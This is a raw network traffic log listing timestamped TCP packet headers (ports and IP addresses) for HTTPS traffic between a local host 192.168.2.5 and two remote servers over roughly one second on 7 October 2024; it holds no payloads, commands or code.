Oct 7, 2024 14:10:17.565815926 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.565849066 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.565855026 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.565880060 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.566025019 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.566035032 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.566040039 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.566093922 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.566095114 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.566155910 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.566304922 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.566337109 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.566343069 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.566370010 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.566410065 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.566443920 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.566450119 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.566476107 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.566601992 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.589665890 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.589665890 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.602736950 CEST	49791	443	192.168.2.5	104.21.7.183
Oct 7, 2024 14:10:17.602746010 CEST	443	49791	104.21.7.183	192.168.2.5
Oct 7, 2024 14:10:17.628245115 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.628412962 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.628448963 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.628458023 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.628483057 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.628496885 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.628567934 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.628684998 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.628715992 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.628721952 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.628743887 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.628777027 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.628850937 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.628912926 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.628964901 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.629060984 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.629091978 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.629301071 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.629328966 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.629336119 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.629358053 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.629537106 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.648252964 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.648325920 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.648351908 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.648356915 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.648371935 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.648386002 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.648407936 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.648417950 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.648442984 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.648499012 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.648592949 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.648727894 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.648860931 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.648922920 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.648950100 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.648955107 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.648978949 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.649009943 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.649013996 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.649029970 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.649051905 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.649072886 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.649189949 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.649354935 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.649650097 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.649724960 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.711179018 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.711236000 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.711246014 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.711261034 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.711287975 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.711299896 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.711299896 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.711311102 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.711337090 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.711456060 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.711472034 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.711519003 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.711541891 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.711591005 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.711826086 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.711879015 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.711882114 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.711890936 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.711920977 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.711930037 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.712004900 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.712059021 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.731184006 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.731247902 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.731261015 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.731266975 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.731292009 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.731297016 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.731314898 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.731321096 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.731333017 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.731333971 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.731369019 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.731374025 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.731404066 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.731426001 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.732551098 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.732616901 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.733865976 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.733933926 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.735344887 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.735408068 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.738769054 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.738847017 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.794019938 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.794094086 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.794137001 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.794171095 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.794178009 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.794188023 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.794243097 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.794250011 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.794282913 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.794334888 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.794336081 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.794349909 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.794375896 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.794385910 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.794403076 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.794451952 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.794641972 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.794693947 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.813673019 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.813733101 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.813770056 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.813776016 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.813786030 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.813788891 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.813810110 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.813816071 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.813834906 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.813843012 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.813863993 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.813868046 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.813893080 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.813913107 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.815120935 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.815180063 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.816370964 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.816423893 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.817864895 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.817917109 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.821321964 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.821388960 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.876318932 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.876380920 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.876391888 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.876399040 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.876439095 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.876569033 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.876620054 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.876688004 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.876738071 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.876841068 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.876892090 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.876960039 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.877005100 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.877007008 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.877019882 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.877053022 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.877209902 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.877262115 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.895894051 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.895968914 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.896043062 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.896096945 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.896176100 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.896239042 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.896358013 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.896418095 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.897691965 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.897764921 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.897865057 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.897941113 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.899014950 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.899066925 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.901074886 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.901138067 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.904102087 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.904165030 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.958986044 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.959036112 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.959067106 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.959075928 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.959119081 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.959213972 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.959268093 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.959397078 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.959449053 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.959490061 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.959538937 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.959634066 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.959677935 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.959872007 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.959924936 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.959963083 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.960016012 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.978936911 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.978993893 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.979024887 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.979031086 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.979039907 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.979046106 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.979067087 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.979073048 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.979084969 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.979113102 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.979129076 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.979132891 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.979167938 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.979423046 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.980520010 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.980587959 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.981719017 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.981782913 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.983690023 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.983757019 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:17.986756086 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:17.986835957 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.041834116 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.041913033 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.042035103 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.042088985 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.042196035 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.042242050 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.042345047 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.042395115 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.042439938 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.042486906 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.042608023 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.042656898 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.042759895 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.042807102 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.042853117 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.042897940 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.061438084 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.061526060 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.061726093 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.061783075 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.061882973 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.061933994 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.061939955 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.061949968 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.061984062 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.063102007 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.063164949 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.064387083 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.064445972 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.066378117 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.066446066 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.069390059 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.069457054 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.124516964 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.124576092 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.124615908 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.124624014 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.124636889 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.124680042 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.124690056 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.124739885 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.124747038 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.124939919 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.124989986 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.124996901 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.125005960 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.125056982 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.125066996 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.125246048 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.125283957 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.125296116 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.125303030 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.125329971 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.125344038 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.143717051 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.143790960 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.143934011 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.143990993 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.144227028 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.144284964 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.144704103 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.144761086 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.144762993 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.144776106 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.144812107 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.145674944 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.145735025 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.146976948 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.147037029 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.149048090 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.149117947 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.152031898 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.152107000 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.207211971 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.207279921 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.207293987 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.207353115 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.207557917 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.207590103 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.207618952 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.207626104 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.207648993 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.207660913 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.207756042 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.207811117 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.207843065 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.207894087 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.207937956 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.207986116 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.208115101 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.208164930 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.226568937 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.226613998 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.226643085 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.226655960 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.226679087 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.226691961 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.226820946 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.226870060 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.227355003 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.227404118 CEST	49783	443	192.168.2.5	192.185.125.111
Oct 7, 2024 14:10:18.228343010 CEST	443	49783	192.185.125.111	192.168.2.5
Oct 7, 2024 14:10:18.228404045 CEST	49783	443	192.168.2.5	192.185.125.111
